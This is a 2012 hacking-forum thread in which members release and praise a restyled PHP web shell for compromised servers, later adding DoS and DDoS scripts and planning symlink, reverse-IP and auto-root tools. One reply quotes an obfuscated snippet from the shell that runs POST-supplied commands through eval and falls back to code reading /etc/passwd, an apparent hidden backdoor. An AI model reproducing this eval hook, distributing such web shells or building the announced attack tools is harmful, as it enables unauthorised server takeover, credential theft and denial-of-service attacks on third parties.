Thread: [Team Digi7al's PRIV8 Shell](#)

| Solo | - June 22, 2012, 11:47 am

Hey guys wanted to release our shell. You will notice that it is based off some shells already available. Its still a work in progress. I will be updating it frequently. Enjoy

Screenshots:

Spoiler ([Click to View](#))

Code <http://pastebin.com/cDk1LHAK>

UPDATE: Added a dos script. Not fully test yet tho :/

Error667 - June 22, 2012, 11:49 am

I especially like the design, continue on this way.

Phizo - June 22, 2012, 11:49 am

The design is beautiful, did you create it or was this an existing shell modified?

| Solo | - June 22, 2012, 12:01 pm

i redesigned the bk shell and added stuff to it. Its really in the begining stages. The tools page is just a video lol havnt really put anything on it

spectrum10 - June 22, 2012, 12:03 pm

Oh our sexy shell is making its way out into the world on its on XD Keep coding logic, good work!

| Solo | - June 22, 2012, 12:06 pm

Thanx spec. Still need to finish coding a Dos script for the shell but never made one in php before :P will be a nice experiance

.Ant - June 22, 2012, 12:10 pm

This is a noob question but is this a c99 shell script or a dos shells script?

dawnofwar - June 22, 2012, 12:10 pm

Shell desing is sexy as fuck...

I jizzed..

AntiPaste - June 22, 2012, 12:13 pm

Checked for backdoors, 's clean. :3

What I don't get is why do you have the piece of code below encoded in multiple ways dozens of times on line 588?

Good job with the design though, pleasing to the eye!

PHP Code

```
<?php
```

```
?><?php if(isset($_POST['submitcmd'])) { echo eval(magicboom($_POST['cmd'])); } else echo  
"echo file_get_contents('/etc/passwd');";?><?
```

~[DogiD]~ - June 22, 2012, 12:15 pm

Very sexy shell <3

you do good job digi7al team ?

Prominent - June 22, 2012, 12:20 pm

All I can say is that the GUI is sexy. Good job.

| Solo | - June 22, 2012, 12:22 pm

Thanx guys :) glad everyone likes it. Just tired of seeing the shitting ass shells that look terrible

SIM-1073426 - June 22, 2012, 12:31 pm

That's awesome sauce! The design looks great.

Th3PonyWizard - June 22, 2012, 1:08 pm

Great shell, testing it as we speak. Glad to be a new member of this awesome team :3

bad - June 22, 2012, 1:09 pm

Great shell with sexy GUI . Good work mates :)

Hooded Robin - June 22, 2012, 1:13 pm

Looks like a real nice makeover for the BK, nice work and thanks for the share guys!

Booster - June 22, 2012, 1:14 pm

That look really well man really nice bro

| Solo | - June 22, 2012, 1:27 pm

(Jun 22, 2012 01:13 PM)Hooded Robin Wrote: [\[CITE\]](#) Looks like a real nice makeover for the BK, nice work and thanks for the share guys!

Yup as I stated before. I just re-themed it. Going to add some tools that i am writing in python (auto-r00t and some scanners). After that idk what i will add lol open to all suggestions

Updated the script added a DDoS script

spectrum10 - June 23, 2012, 12:46 am

Haha I like seeing that red and black Digi7al sig you got there Pony XD Glad to have you on the team!

Th3PonyWizard - June 25, 2012, 12:53 pm

B/_/_/U/_/_/M/_/_/P

I'm getting into the development of the shell. Expect the 'Tools' section to be filled.

Catzbow - June 25, 2012, 1:58 pm

Very Very Nice Shell !

einbrettholz - June 25, 2012, 1:58 pm

This looks very slick. very very slick. congrats on the great result (designwise) ill check functionality as soon as i can. :O~~ drool

Sw1x - June 25, 2012, 2:01 pm

Neat design, looks good. Keep it up. :Blackhat:

Bacardi - June 25, 2012, 2:05 pm

I love the design!

What are you planning on adding? I'd love to see a symlink tool.

Th3PonyWizard - June 25, 2012, 2:08 pm

(Jun 25, 2012 02:05 PM)Bacardi Wrote: [\[CITE\]](#) I love the design!

What are you planning on adding? I'd love to see a symlink tool. That's what I'm working on ^^.
A symbolic linking toolkit, a Reverse IP inbuilt tool that will check the domains of the site without being depends on local configuration files, etc.

Bacardi - June 25, 2012, 2:18 pm
